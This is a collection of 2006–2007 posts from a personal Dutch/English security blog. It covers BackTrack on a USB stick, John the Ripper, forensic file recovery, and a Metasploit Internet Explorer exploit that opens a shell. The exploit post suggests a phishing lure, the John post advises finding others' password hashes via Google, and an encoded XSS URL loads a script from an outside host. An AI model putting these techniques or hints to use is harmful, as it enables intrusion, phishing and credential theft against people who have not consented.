The ip-address is written to a file in /tmp. As you might have noticed, there is no variable passing in the URL (e.g. http://www.yourserver.com/secret-url.php?ip=192.168.10.1 ) because these are potential security loopholes. Also the script itself uses a simple message passing algorithm to get the relevant data (the ip-address) to iptables, this way there is no direct coupling between an global accessable webpage and iptables.

We will use a bash script to read the ip-address and configure iptables:

[code]
#!/bin/bash
TMPFILE=”/tmp/allow_sshd.tmp”
LOGFILE=”/var/log/allow_sshd.log”
IP=`< ${TMPFILE}` DATE=`date` # timeframe for communications to start: SECONDS="300" LOCKFILE="/tmp/allow_sshd.lck"

if [ -s “${TMPFILE}” ] ; then #check for a lock file if [ ! -e “${LOCKFILE}” ] ; then #create the lock file to prevent more than one of these running /bin/touch ${LOCKFILE} #write to the log echo “${DATE}: SSHD started from ${IP}” >> ${LOGFILE}
#remove the temp file
/bin/rm -f ${TMPFILE} > /dev/null 2>&1

iptables -I INPUT -p tcp –dport 22 -s ${IP} -j ACCEPT
#wait SECONDS
sleep ${SECONDS}

iptables -D INPUT -p tcp –dport 22 -s ${IP} -j ACCEPT
#remove the lock file to allow another copy to run
/bin/rm -f ${LOCKFILE}
else
#log multiple copy attempts
echo “${DATE}: SSHD multiple copy attempt!” >> ${LOGFILE}
#remove temp file
/bin/rm -f ${TMPFILE} > /dev/null 2>&1
fi
fi
[/code]

The script needs to run every minute to check for new ip-addresses written to the tmp file, which is accomplished by using a crontab entry:
* * * * * /usr/local/bin/allow-ssh.sh > /dev/null 2>&1

original version:
http://gentoo-wiki.com/TIP_turn_sshd_on_from_php

de ultieme hacker toolkit aan je sleutelhanger

Wed, 07 Mar 2007 15:29:34 +0100

20080309 update: Deze post gaat over BackTrack 2, ondertussen is BackTrack 3 beta beschikbaar, deze kan veel eenvoudiger op een USB stick geinstalleerd worden, je krijgt bovendien meer tools en de laatste versies:
Installing BackTrack 3 on a USB stick

In Linux land kennen we al lang de zogenaamde “bootable distributions”, dat is een compleet Linux operating systeem plus alle applicaties op een cdrom of dvd die je in de computer kan stoppen om er vervolgens van te booten. Vervolgens heb je na een paar minuten een Linux desktop tot je beschikking zonder dat er ook maar een byte op je harde schijf wordt veranderd.

Een afgeleide hiervan zijn de “bootable security distributions”, dit is hetzelfde verhaal, alleen is de cdrom volgepakt met security tools om b.v. het netwerk mee te scannen, wachtwoorden te testen op hun sterkte enz. Extra handig zijn de forensische tools waarmee je op de harde schijf van de geboote pc kan gaan zoeken naar informatie over het gebruik, b.v. browser gegevens maar ook gewiste bestanden zijn weer boven water te halen. Als je de harde schijf van de PC in read-only mode mount (mount -o r /dev/sda /media/disk) dan wordt er nog steeds geen byte op de disk veranderd.

Belangrijk van security distro’s is vooral dat ze recente programmatuur bevatten. Enerzijds is dit vaak nodig om van de PC in kwestie te kunnen booten en goede ondersteuning te hebben voor de hardware in de PC, bv. (wireless) netwerkkaart, videodriver, enz. en anderzijds zijn de nieuwere tools doorontwikkeld en kunnen ze meer of werken ze sneller.

Na Whoppix, Whax, Auditor, STD, Phlak en wat al niet meer, is de ster aan het firnament op dit moment BackTrack, te vinden op www.remote-exploit.org.
Backtrack Final 2.0 is net uit en staat volgepakt met allerlei interessante software, het is ideaal om er mee te experimenteren op je eigen computer en te zien hoeveel informatie er achter blijft waarvan je het bestaan niet wist. Ook kan je goed testen of je eigen (wireless) netwerk veilig is voor hackers en of je wachtwoorden wel voldoende onkraakbaar zijn.

Nog leuker wordt het als je backtrack om een 1GB USB stick zet en hem meeneemt om bij computers van kennisen de guru uit te hangen door in een minuutje hun brave windows PC om te toveren in een volwaardig hacker workstation. Terwijl je in een desktop het station “Secret Agent” van SomaFM draait, mount je hun harde schijf en vertel je welke websites ze de laatste tijd hebben bezocht, zo heb je je eigen “Shock and Awe” campagne.

Behalve voor de security tools, is zo’n bootable usb omgeving ook bijzonder geschikt om zelf veilig van te werken, b.v. als je dingen op Internet wilt nakijken zonder het risico om spyware of virussen op te lopen, of om je e-mail te lezen zonder dat er (software)keyloggers of trojans zijn die “meekijken”, ook laat je geen history achter op de computer die je gebruikt hebt.

Hoe installeer je backtrack 2.0 op een USB stick?

Download de iso, b.v. hier vandaan.

Stop de USB stick in je PC, als die automatisch gemount wordt (meestal te zien aan pop-up windows met de inhoud v/d thumbdrive), sluit de windows en unmount de stick (kijkt met het command mount en dan: umount /dev/sd..).
Als er niets te zien is na het insteken v/d USB stick kan je met dmesg | tail meestal wel zien als welk device het herkent wordt. In het verhaal hieronder gaan we uit van /dev/sdb en ook moeten (bijna) alle commando’s als root worden uitgevoerd.

Herpartitioneer de USB stick met:

# fdisk /dev/sdb

Maak twee partities:

# fdisk /dev/sdb
The number of cylinders for this disk is set to 2575.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:

software that runs at boot time (e.g., old versions of LILO)
booting and partitioning software from other OSs
(e.g., DOS FDISK, OS/2 FDISK)

Command (m for help): p
Disk /dev/sdb: 1020 MB, 1020788224 bytes
129 heads, 6 sectors/track, 2575 cylinders
Units = cylinders of 774 * 512 = 396288 bytes
Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            1              2575     996522  c  W95 FAT32 (LBA)
Command (m for help): d
Selected partition 1
Command (m for help): n
Command action
e   extended
p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-2575, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-2575, default 2575): +760M
Command (m for help): n
Command action
e   extended
p   primary partition (1-4)
p
Partition number (1-4): 2
First cylinder (1895-2575, default 1895):
Using default value 1895
Last cylinder or +size or +sizeM or +sizeK (1895-2575, default 2575):
Using default value 2575
Command (m for help): t
Partition number (1-4): 1
Hex code (type L to list codes): c
Changed system type of partition 1 to c (W95 FAT32 (LBA))
Command (m for help): t
Partition number (1-4): 2
Hex code (type L to list codes): c
Changed system type of partition 2 to c (W95 FAT32 (LBA))
Command (m for help): a
Partition number (1-4): 1
Command (m for help): p
Disk /dev/sdb: 1020 MB, 1020788224 bytes
129 heads, 6 sectors/track, 2575 cylinders
Units = cylinders of 774 * 512 = 396288 bytes
Device Boot      Start         End      Blocks   Id  System
/dev/sdb1   *           1        1919      742650    c  W95 FAT32 (LBA)
/dev/sdb2            1920        2575      253872    c  W95 FAT32 (LBA)
Command (m for help): w
The partition table has been altered!
Calling ioctl() to re-read partition table.
WARNING: If you have created or modified any DOS 6.x
partitions, please see the fdisk manual page for additional
information.
Syncing disks.

en zet er de juiste filesystems op met:

# mkfs.vfat -v /dev/sdb1
# mkfs.vfat -v /dev/sdb2

De tweede partitie is alleen maar een handigheidje, je hebt nu de mogelijkheid om bij gebruik met backtrack om hier tijdelijke bestanden naar toe te kopieeren, maar je kan de stick ook nog steeds als gewone datadrager gebruiken onder b.v. Windows.

Mount de backtrack iso via het loopback device en mount de eerste partitie v/d USB stick

# mkdir /FF
# mount -o loop bt2final.iso /FF
# mkdir /FF1
# mount -o rw /dev/sdb1 /FF1

Kopieer de bestanden:

# cd /FF1
# cp -r /FF/* .

De partitie is net voldoende voor alles:

# df -h /FF1
Filesystem            Size  Used Avail Use% Mounted on
/dev/sdb1             724M  4.0K  724M   1% /FF1

Nu nog ervoor zorgen dat de USB stick bootable is, hiervoor heb je het pakket syslinux nodig. Als het niet op je computer staat kan je het met yum, apt-get, emerge, enz. installeren afhankelijk van je gebruikte distributie.

# umount /FF1
# syslinux /dev/sdb1
# cat /usr/lib/syslinux/mbr.bin > /dev/sdb

Er is nog wat finetuning nodig voor syslinux om echt te kunnen booten:

# mount -o rw /dev/sdb1 /FF1
# cd /FF1/boot/isolinux
#  perl -pe 's#/boot/##'  isolinux.cfg> /FF1/syslinux.cfg
# mv boot/vmlinuz .
# mv boot/initrd.gz .
# cd
# umount /FF1

That’s all folks. Reboot, zorg dat de PC probeert op te starten van USB en backtrack start op en dan zie je:

Mocht je geen linux systeem hebben, maar toch die bootable USB stick willen hebben, brand dan de backtrack iso die je hebt gedownload op cdrom en start daar van op, vervolgens heb je een linux systeem draaien en kan je het bovenstaande verhaal volgen.

Tip: installeer vmware server, maak een vrij kaal linux systeem aan
en laat vervolgens de cdrom drive verwijzen naar de backtrack iso. Nu zal in vmware backtrack worden geboot en kan je daar zonder restricties in
“spelen” en b.v. je host systeem via het vmware netwerk laten scannen.

have fun!

Caveat Lector!
Volgens de nieuwe wet Computercriminaliteit is het voorradig hebben van hulpmiddelen die bedoeld zijn om niet alleen in te breken, maar ook gegevens op te slaan (onze 2e partitie?) of een systeem wederrechtelijk te gebruiken, strafbaar met maximaal vier jaar cel!

Zie: De Wet Computercriminaliteit: Computervredebreuk

Mijn intentie is om de USB stick prive te gebruiken om te controleren dat mijn eigen systemen veilig zijn en voor voorlichting van vrienden en kennissen, en dat is volkomen legaal (anders zou nl. iedere computergebruiker strafbaar zijn, want op ieder systeem staan wel programma’s die je kan gebruiken om te scannen of in te breken, b.v. ping tracert, telnet, enz. Het komt alleen op de kennis en de intentie van de gebruiker aan om ze ook als zodanig te gebruiken).

High speed password cracking with John the Ripper

Sun, 11 Feb 2007 20:08:06 +0100

John the Ripper has been out there for a long time, it’s a great tool for auditing passwords. How does it work, well simple: you take a password file with encrypted (or better hashed) passwords in it and give it to John. The program will first determine what kind of hash algorithm is used and will then start by taking normal words from an extensive wordlist and feed them one by one through the same hash algorithm. If the outcome matches with what is in the file that word is obviously the password.

After John has exhausted the wordlist it will try variations on the words. It will start every word with a capital and do the whole list again, than it could try every word backwards, substitute all letter “o” with zero’s, “i” with ones, “s” with “$”, and so on. Since computers have become mindboggling fast it can try a massive amount of combinations in a relative short time.

Since John the Ripper is around for a couple of years, it is written to be run on a single CPU. This is kind of a waste since we all got these dual core machines on our desks and even quad core’s or more in the servers in the racks. So how to make use of all this processing power?

Luckily there is a patch for John which allows it to use the Message Passing Interface to run multiple instances simultaneously, you can download this version: john-1.7.2-bp17-mpi2.tar.gz
and build it on your dual core box. Before the code will compile you need to install the MPI software, with yum on fedora this can be done with:

yum -y install openmpi*

next get the software (if not already done so), extract and move in there:

wget http://www.bindshell.net/tools/johntheripper/john-1.7.2-bp17-mpi2.tar.gz
gtar zxvf john-1.7.2-bp17-mpi2.tar.gz
cd john-1.7.2-bp17-mpi2/src

Make a small adaptation to the Makefile so it will work with openmpi:

vim Makefile

:%s/mpicc/om-mpicc/g

:wq

Now build the beast:

make linux-x86-mmx

If all goes well, you will see some warnings about pointers, but no errors and end up with a executable in ../run/john. Now change directory to
../run
and get hold of a shadow file, a .htaccess, a ldif with userpasswords, or anything with hashed passwords you would like to reverse back to the original form. If you don’t have anything yourself use Google with the right query to find something on the Net.
Give John his first assignment with the commandline:

om-mpirun -np 2 ./john -incremental my-hash-file.txt

The “-np 2” means that the “Number of Processors” is 2.
This is also the value to use if you have a single CPU machine with hyperthreading enabled.

Now if you want to get serious with decrypting hashed passwords, get the right wordlist for your language since people love to choose simple words they can easily remember. This is a good source:
ftp://ftp.mirrorgeek.com/openwall/wordlists
You can use the specific wordlist with John this way:

om-mpirun -np 2 ./john --wordlist=dutch_lower.txt my-hash-file.txt

So, when all is said and done, the main question remains. How fast is it?
Well John the Ripper has a build in benchmark function which you can
activate by using john -test, you then get lots of data for
all different ciphers which John supports.

I will take “FreeBSD MD5 [32/64 X2]” as a comparison metric.

On my Pentium D920 desktop running at 3.4GHz with linux /proc/cpuinfo:

cpu family	: 15
model	: 6
model name	: Intel(R) Pentium(R) D CPU 3.40GHz
stepping	: 2

dual cpu:	Raw: 23511.00 c/s real	23488.00 c/s virtual
single cpu:	Raw: 11786.00 c/s real	11786.00 c/s virtual

On my laptop: Core Duo CPU T2500 at 2.0GHz with linux /proc/cpuinfo:

cpu family	: 6
model	: 14
model name	: Intel(R) CPU T2500 @ 2.00GHz
stepping	: 8

dual cpu:	Raw: 9622.00 c/s real	10106.00 c/s virtual
single cpu:	Raw: 5061.00 c/s real	5061.00 c/s virtual

So what if this is not fast enough? There are two a number of roads you can take. There is Distributed Network Attack, this is like Seti at Home, where one master chops up the task at hand and delivers small chunks to thousands of computers which all complete the computations in spare processor time and then feed back the result to the master. The Secret Service has linked 4000 computers this way to try and decrypt passwords which it can’t break with “normal” supercomputer power.
You can build your own DNA password cracking universum by using Distributed John

An other way would be using Rainbow Tables where every possible password is already translated to it’s hash value. So if you have a hash from a password file and you want to know to which password it belongs, you can just do a lookup in the giant rainbow table and find the password.

Caveat Lector!
Usage of tools like “John the Ripper” might be unlawfull or illegal in your country, if you want to test strenght of passwords on systems which are not your own, get written permission of the owner first.

Gratis boek “Forensic Discovery”

Thu, 21 Dec 2006 16:38:02 +0100

Het boek Forensic Discovery geschreven door Wietse Venema en Dan Farmer de schrijvers van de The Coroner’s Toolkit (TCT) is nu online te lezen en te downloaden.
Computer forensics is een fascinerend onderwerp, net zoals de patholoog anatoom uit een dood lichaam kan achterhalen wat men als laatste gegeten heeft en waar men aan overleden is, kan je van een computer ontzettend veel informatie achterhalen over het gebruik daarvan. Dat kan natuurlijk erg nuttig zijn als de vorige eigenaar wordt verdacht van crimineele feiten, maar het is ook interessant om op je eigen computer te doen om eens te achterhalen hoeveel digitale sporen je achterlaat als je een website bezoekt of een e-mail leest.

Gratis boek “Forensic Discovery”

Thu, 21 Dec 2006 16:38:02 +0100

bootable security distro on your USB stick

Wed, 20 Dec 2006 23:26:25 +0100

20080309 update: This article covers BackTrack 2, you might want to consider reading the information on how to install BackTrack 3 beta on a USB stick. This is a much easier process, you will get more tools and the latest versions:
Installing BackTrack 3 on a USB stick

Bootable linux security distributions come and go, first there was Whoppix, than it became Whax and parallel there also was Auditor. But now we have got BackTrack. If Whoppix was the swiss army knife of a security auditor, than backtrack is his lightsword.

So what can we do with BackTrack? You can use it for security auditing, penetration testing, reconnaissance, wardriving, (wireless) network problem solving, actually a better question would be, what can’t you do with backtrack?

So what’s the ultimate geeky thing to do with backtrack? Install it on a USB stick and turn any computer into a stealth auditor toolkit. Today’s 1 gigabyte USB sticks cost less than 20 euro and are all USB-2.0 compliant, so they are fast to boot from. It’s important to stay current with these security distro’s, because if you try a penetration test with old tools, you might as well not do it at all. So we will use the latest beta which is available at the time of writing (bt20061013) and show you how to install that on a bootable thumbdrive.

step 1
Take the USB stick and plug it into a linux computer. If it mounts automagically, become root, type mount and remember the device which belongs to the USB stick (mostly something like /dev/sdc) and umount the device.
If it doesn’t mount automagically, type dmesg | tail and you will see the device that was recognized by the kernel.
Now run fdisk on the device (e.g. fdisk /dev/sdc) destroy all existing partitions and start a new (primary) one which starts at cylinder 1 and ends at +650M which will suffice for the complete backtrack toolkit. Next you can create a second partition (also primary) which fills up the rest of the USB stick and will allow you to use it the way it was intended (for instance transporting files), but is can also come in very handy to put discovered forensic data on that partition. Change both types of the partition to c which is W95 fat32 (lba). Don’t forget to make the first partition bootable.
Write the partition table to disk (USB drive) and exit fdisk. Now fdisk -l /dev/sdc should give you something like:

Disk /dev/sdc: 1020 MB, 1020788224 bytes 129 heads, 6 sectors/track, 2575 cylinders Units = cylinders of 774 * 512 = 396288 bytes

Device Boot Start End Blocks Id System /dev/sdc1 * 1 1641 635064 c W95 FAT32 (LBA) /dev/sdc2 1642 2575 361458 c W95 FAT32 (LBA)

Next, put a filesystem on both partitions with:
mkfs.vfat -v /dev/sdc1
and repeat that for /dev/sdc2

step 2
If you haven’t downloaded bt20061013.iso do so now and mount the iso image via the loopback device:
mount -r -o loop /data/iso/bt20061013.iso /FF4/
also mount the first partition of our USB drive:
mount -o rw /dev/sdc1 /FF
and start copying:
cd /FF4/
cp -r * /FF/

step 3
To make the device bootable we will use the syslinux package, if it’s not on your linux system install it with yum install syslinux (or use emerge, apt-get, or whatever). Now do the magic:

# umount /FF
# syslinux /dev/sdc1
# cat /usr/lib/syslinux/mbr.bin > /dev/sdc

and there are a few more steps to make it really work:

# mount -o rw /dev/sdc1 /FF
# cd /FF
# perl -pe 's/boot\///' isolinux.cfg > syslinux.cfg
# mv boot/vmlinuz .
# mv boot/initrd.gz .
# cd
# umount /FF

step 4
put the USB drive in your computer and reboot and see if it boot’s from the USB stick. You might need to alter your BIOS settings for this to happen, or hit some kind of magic key during startup (my DELL laptop requires F12). If all goes well you will end up with:

Have fun! and don’t forget to read the tutorials.

Windows
If you are on a Windows system and don’t have Linux installed, you can still follow the same procedure by downloading and booting knoppix. When the backtrack iso is on your C: or D: drive, knoppix will automatically mount and show these drives, and you can still mount the iso via the loopback device (-o loop) as described above.

Other ways of playing around with backtrack
Apart from booting backtrack from USB stick (or from cdrom) there is another very conveniant way of using this distro, and thats by running it inside VMware Server. You can use vmware server for free, but you have to register.
Here is a nice installation guide how to install vmware server on Fedora Core 5. After that you can just fire up vmware console and click together a new Linux machine. In “virtual mchine settings” the cdrom device should point towards your backtrack iso and after that power on the machine. Click the button to switch to full-screen, login as root (password toor) and type startx. You can still switch back forth to your host window manager by using CRTL-ALT-F7 and CTRL-ALT-F8.

Digg This!

N.B.
In most countries it’s only legal to use the auditing, scanning, and forensic tools on your own computer. Use at your own risk!

terughalen van verloren gewaande bestanden met Linux en foremost

Sun, 12 Nov 2006 14:53:20 +0100

Voor iedereen die wat met computers doet is het bijna een bekend probleem, een kennis heeft een digitale camera en om een of andere reden zijn alle foto’s van zijn geheugenkaartje verdwenen, of je ze even terug wilt halen.
Met de juiste tools is dit vaak vrij gemakkelijk. Het kaartje is bijvoorbeeld geformatteerd en dan lijkt het leeg, maar gelukkig staan alle bestanden er nog gewoon op.
Soms komen ook de standaard tools er niet uit en dan zijn er voor Linux altijd nog een aantal speciale forensische programma’s die je kan proberen. Een daarvan is foremost een programma dat het medium in kwestie afscant op bekende headers, footers en data structuren en vervolgens de bijbehorende bestanden weer terughaalt. Foremost is ontwikkeld door Air Force Office of Special Investigations en The Center for Information Systems Security Studies and Research.

Normaliter staat op een opslagmedium zoals harddisk of smartcard een zogenaamde “File Allocation Table”, in deze FAT is te vinden welke bestanden er op het medium staan en waar ze te vinden zijn (vergelijk het met een kaartenbak). Als de FAT afwezig of corrupt is, kan het besturingssysteem geen bestanden meer vinden en biedt het meestal aan om het medium te formatteren zodat het weer bruikbaar wordt.
Foremost kijkt niet naar de FAT maar begint het medium byte voor byte te lezen en vergelijkt de informatie met bekende headers. Zo begint een jpg bestand bijvoorbeeld met:
FF D8 FF
en eindigt het met:
FF D9
Ook (bijna) alle andere bestanden hebben dit soort unieke headers. In Linux gebruikt b.v. het file commando deze informatie om terug te geven wat voor soort bestand het is, dus zonder te kijken naar de extensie.

Om het xD kaartje te kunnen uitlezen op mijn fedora core 5 laptop sloot ik een Medion USB2 16-card reader aan van de aldi. Helaas ging dat niet onmiddelijk goed, de blauwe leesled bleef maar knipperen en dmesg | tail gaf foutmeldingen als:

usb 1-7: new high speed USB device using ehci_hcd and address 11
usb 1-7: device descriptor read/all, error -71

Dit lijkt een of andere bug te zijn is het USB2 subsysteem van linux. Onder Windows zou dit meteen einde oefening zijn, maar met Linux kan je b.v. het USB2 gedeelte uit de kernel verwijderen met:
rmmod ehci_hcd
en dan komt het kaartje alsnog netjes via USB1 beschikbaar:

[super@zorax ~]# fdisk -l /dev/sdd

Disk /dev/sdd: 65 MB, 65536000 bytes 8 heads, 32 sectors/track, 500 cylinders Units = cylinders of 256 * 512 = 131072 bytes

Device Boot Start End Blocks Id System /dev/sdd1 * 1 500 63972+ 1 FAT12

mounten wilde niet lukken (bekende melding:
mount: wrong fs type, bad option, bad superblock on /dev/sdd1, )
dus heb ik eerst maar eens een kopie gemaakt op harddisk om alle info
veilig te stellen:

dd if=/dev/sdd1 of=m-xd-card.iso

Met:

hexview -C m-xd-card.iso | less

kan je een indruk krijgen of er nog wat te redden valt. Als je allemaal 00 ziet dan is er niets meer van te maken. Of:

strings m-xd-card.iso | grep -i jpg

Foremost stond nog niet op mijn systeem, dus ik heb het eerst geinstalleerd met:

yum install foremost

en daarna was het een kwestie van:

foremost -t jpg m-xd-card.iso

en alle jpg plaatjes kwamen boven water in de directory output/jpg

[super@zorax ~]# ls output/jpg/
00000105.jpg  00006729.jpg  00013225.jpg  00018665.jpg  00024073.jpg  00029737.jpg  00035113.jpg
00001449.jpg  00008041.jpg  00014601.jpg  00019881.jpg  00025417.jpg  00031081.jpg  00036457.jpg
00002857.jpg  00010665.jpg  00016009.jpg  00021321.jpg  00026857.jpg  00032425.jpg  00037737.jpg
00005609.jpg  00012041.jpg  00017449.jpg  00022729.jpg  00028297.jpg  00033833.jpg

hacken met metasploit

Wed, 18 Oct 2006 20:43:48 +0200

Internet Explorer heeft nogal een historie van beveiligingslekken. Op het moment van schrijven zijn er nog 19 lekken waarvoor Microsoft nog geen patch heeft uitgebracht (zie Secunia).

Het is opvallend dat dit soort informatie mensen er niet van weerhoudt om de browser te gebruiken (er zijn veiligere alternatieven), de algemene tendens is dat het wel niet zo’n vaart zal lopen. Pas als je laat zien hoe makkelijk het is om misbruik te maken van een van die beveiligingslekken om een computer binnen te dringen en complete toegang te krijgen schrikt men. Dus toen onlangs een nieuwe 0-Day beveiligingslek voor Internet Explorer aan het licht kwam besloot ik om met mijn eigen computers een te kijken hoe makkelijk dit te gebruiken was om de Windows machine binnen te dringen. Ik heb hierbij gebruik gemaakt van het metasploit framework.

[ ~/metasploit]$ ./msfconsole

                |                    |      _) |
 __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __|
 |   |   |  __/ |   (   |\__ \ |   | | (   | | |
_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
                              _|

       =[ msf v3.0-beta-dev
+ -- --=[ 104 exploits - 99 payloads
+ -- --=[ 17 encoders - 4 nops
       =[ 13 aux

msf > use windows/browser/webview_setslice
msf exploit(webview_setslice) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(webview_setslice) > exploit
[*] Started bind handler
[*] Using URL: http://10.10.10.6:8080/kYcv56MJDE3509LmnJK
[*] Server started.
[*] Exploit running as background job.
msf exploit(webview_setslice) >

Nu ga ik naar mijn Windows PC en open met IE de URL van hierboven:
http://10.10.10.6:8080/kYcv56MJDE3509LmnJK
IE lijkt nu te hangen op de PC alsof een trage pagina wordt geladen
in metasploit zie ik:

msf exploit(webview_setslice) > [*] Sending stage (474 bytes)
[*] Command shell session 1 opened (10.10.10.6:34745 -> 10.10.10.99:4444)
msf exploit(webview_setslice) > sessions -l
Active sessions
Id  Description    Tunnel
--  -----------    ------
1   Command shell  10.10.10.6:34745 -&gt; 10.10.10.99:4444

msf exploit(webview_setslice) > sessions -i 1
[*] Starting interaction with 1…
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\beekman\Desktop>cd 

cd \
C:&gt;netstat -an
netstat -an
Active Connections
Proto  Local Address          Foreign Address        State
TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
TCP    10.10.10.99:4444     10.10.10.6:34745   ESTABLISHED
C:&gt; ^C
Abort session 1? [y/N]  y
[*] Command shell session 1 closed.
msf exploit(webview_setslice) >

De payload bind_tcp is slechts een van de vele mogelijke payloads die je kan gebruiken, er zitten ook payloads bij die je een VNC connectie geven zodat je grafisch kan meekijken wat de gebruiker allemaal aan het doen is.

Je moet met deze specifieke exploit de gebruiker natuurlijk nog wel zo ver krijgen dat hij op jou URL klikt maar met een beetje social engineering hoeft dat geen probleem te zijn.
B.v. je stelt een e-mailtje op alsof je een nieuwe online muziekwinkel bent en de eerste 100 mensen die de nieuwe winkel bezoeken krijgen gratis een iPod, u kunt onze winkel vinden via onderstaande link.

Je kan jezelf beschermen tegen dit specifieke lek door de juiste Microsoft patch te installeren. Behalve dat is het ook slim om over te stappen naar een veiliger browser zoals b.v. firefox.

Andere middelen van beveiliging die kunnen helpen is het hebben van een goed en bijgewerkte AntiVirus op je computer. Bovenstaande exploit werd bijvoorbeeld door Symantec tegengehouden.
Als je een moderne CPU in je computer hebt is het zeker ook aan te raden om Data Execution Prevention kortweg DEP in te schakelen. Dit kan als volgt:

Klik op Start, klik op Uitvoeren, typ sysdm.cpl en klik op OK.
Open het tabblad Geavanceerd en klik onder Prestaties op Instellingen.
Gebruik op het tabblad Preventie van gegevensuitvoering (DEP) een van de volgende procedures:
- Klik op DEP alleen voor kritieke Windows-programma’s en -services inschakelen als u het OptIn-beleid wilt selecteren.
- Klik op DEP voor alle programma’s en services inschakelen, behalve voor de hieronder geselecteerde als u het OptOut-beleid wilt selecteren. Klik vervolgens op Toevoegen om de programma’s toe te voegen waarvoor u de DEP-functie niet wilt gebruiken.
Klik tweemaal op OK.

N.B.
Ik heb bovenstaande tests op mijn eigen computers uitgevoerd. Het inbreken op andermans computers is strafbaar volgens de Nederlandse Wet. Zelfs het voorhanden hebben van programma’s of andere middelen om te hacken is een strafbaar feit en kan bestraft worden met een celstraf van maximaal 1 jaar (zie: uitleg computervredebreuk ).

gratis boek “Security Engineering”

Sun, 27 Aug 2006 22:41:02 +0200

Security Engineering – the Book geschreven door Ross Anderson.
Het is al een wat ouder boek (2001) maar nog steeds de moeite waard om te lezen. De auteur en uitgever hopen op deze manier nog nieuwe lezers te trekken en dat de mensen die het de moeite waard vinden alsnog een papieren exemplaar kopen omdat een boek nu eenmaal makkelijker leest dan van het scherm of vanuit een 4-rings map 😉

gratis boek “Security Engineering”

Sun, 27 Aug 2006 22:41:02 +0200

URL coderen en decoderen met perl

Sat, 24 Jun 2006 14:59:53 +0200

Regelmatig zie je URL’s met in plaats van het ASCII karakter een gecodeerde versie hiervan. De meest voorkomende is waarschijnlijk %20 oftewel spatie, maar ook %2F (forward slash: /) zie je regelmatig in URL’s.
De reden hiervoor is dat deze karakter vaak een speciale betekenins hebben voor de computer waarop je browser draait en door ze te vervangen door de gecodeerde weergaven kan de browser ze doorgeven naar de website en komt de goede informatie terug.

Het wordt wat vervelender als je een URL (bijvoorbeeld via de e-mail) toegestuurd krijgt die alleen maar is opgebouwd uit dit soort tekens. De website aan het begin van de URL mag dan wel vertrouwd lijken, maar het zou kunnen dat je door middel van een Cross Site Scripting aanval ineens het cookie weggeeft aan een aanvaller (de verzender van de URL) die daardoor b.v. je sessie waarmee je bent ingelogd op je webmail kan overnemen.

Zo’n URL kan er bijvoorbeeld zo uitzien:

http://www.blabla.com/search.pl?q=%22%3E%3C%73%63%72%69%70%74%2B%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%6F%69%65%70%6F%69%65%2E%6E%6C%2F%78%73%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E

Met perl kan je dit makkelijk weer leesbaar maken, dit gaat als volgt:

echo \
"http://www.blabla.com/search.pl?q=%67%65%76%61%61%72%6C%69%6A%6B%65%20%58%53%53%20%61%61%6E%76%61%6C%20%6D%65%74%20%6A%61%76%61%73%63%72%69%70%74"\
| perl  -pe 's/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg;'
output: http://www.blabla.com/search.pl?q=gevaarlijke XSS aanval met javascript

Als je zelf wilt experimenteren met dit soort URL’s dan kan je ze bouwen op de volgende manier:

echo "de groeten van Ewald" \
| perl -pe 'chomp ; s/(.)/sprintf("%%%02X", ord($1))/seg;'
output: %64%65%20%67%72%6F%65%74%65%6E%20%76%61%6E%20E%77%61%6C%64

Single SignOn onder Linux

Sun, 02 Apr 2006 15:04:20 +0200

Er wordt in de bedrijfswereld vrij veel over gesproken, Single SignOn oftewel eenmalig inloggen. Het idee is dat je dagelijks toegang moet krijgen tot diverse systemen en informatiebronnen, bijvoorbeeld je e-mail, de agenda, en meestal nog een aantal servers. Als die systemen hebben een eigen username/password systeem en het is aan jou om die allemaal te onthouden. Vaak stellen mensen initieel overal hetzelfde wachtwoord in (de username of gebruikersnaam wordt vaak uitgereikt door de systeembeheerder en kan je zelf niet bepalen). Maar soms moet je dan bij het ene systeem om de 3 maanden je wachtwoord veranderen terwijl dit op een ander systeem nooit meer hoeft. Bovendien wordt je van dat eindeloos inloggen ook niet blij.

Dus wat willen we: Single SignOn, ‘s ochtends eenmaal inloggen en dat geldt dan voor alle systemen totdat een bepaald tijd verstreken is en je opnieuw moet inloggen.

Onder Linux is dit al erg lang mogelijk. Het beste systeem hiervoor is waarschijnlijk Kerberos vernoemd naar de driekoppige hellehond uit de griekse mythologie. Voor thuisgebruik is Kerberos wat overdreven en kan je min of meer hetzelfde effect bereiken met ssh (Secure Shell) en het bijbehorende ssh-agent.
Ssh is een bijzonder krachtig stuk gereedschap, op het eerste gezicht lijkt het misschien alleen een veilige vervanging voor telnet, maar met de juiste commandline opties kan je het gebruiken als vpn-client (door tunnels te definieren) en met scp (secure copy) kan je ftp vervangen.

Ssh login kan werken met username/password authenticatie (met het verschil t.o.v. telnet dat de gegevens niet leesbaar over het netwerk worden gestransporteerd, maar worden beschermd door encryptie). Maar het ondersteund ook PKI. PKI staat voor Public Key Infrastructure en werkt met een publieke en een privé sleutel die bij elkaar horen. De publieke sleutel mag iedereen weten en de bijbehorende privé sleutel moet geheim blijven. Als iemand iets versleuteld met jou publieke sleutel, dan kan jij als bezitter van de bijbehorende privé sleutel als enige het bestand weer leesbaar maken. Als jij onder een bericht (b.v. een e-mail) een digitale handtekening zet met je privé sleutel, dan kan iedereen met jou publieke sleutel valideren dat de handtekening ook echt van jou afkomstig is.

Om ssh in combinatie met PKI te gebruiken moet je eerst een sleutelpaar genereren, dat gaat als volgt:

[~]$ ssh-keygen -t dsa
Generating public/private dsa key pair.
Enter passphrase (empty for no passphrase): **********
Enter same passphrase again: **********
Your identification has been saved in /home/beekman/.ssh/id_dsa.
Your public key has been saved in /home/beekman/.ssh/id_dsa.pub.
The key fingerprint is: 23:c5:9c:7c:79:7c:f2:c9:3f:d7:63:53:79:0d:8a:b3 ewald@oiepoie.nl

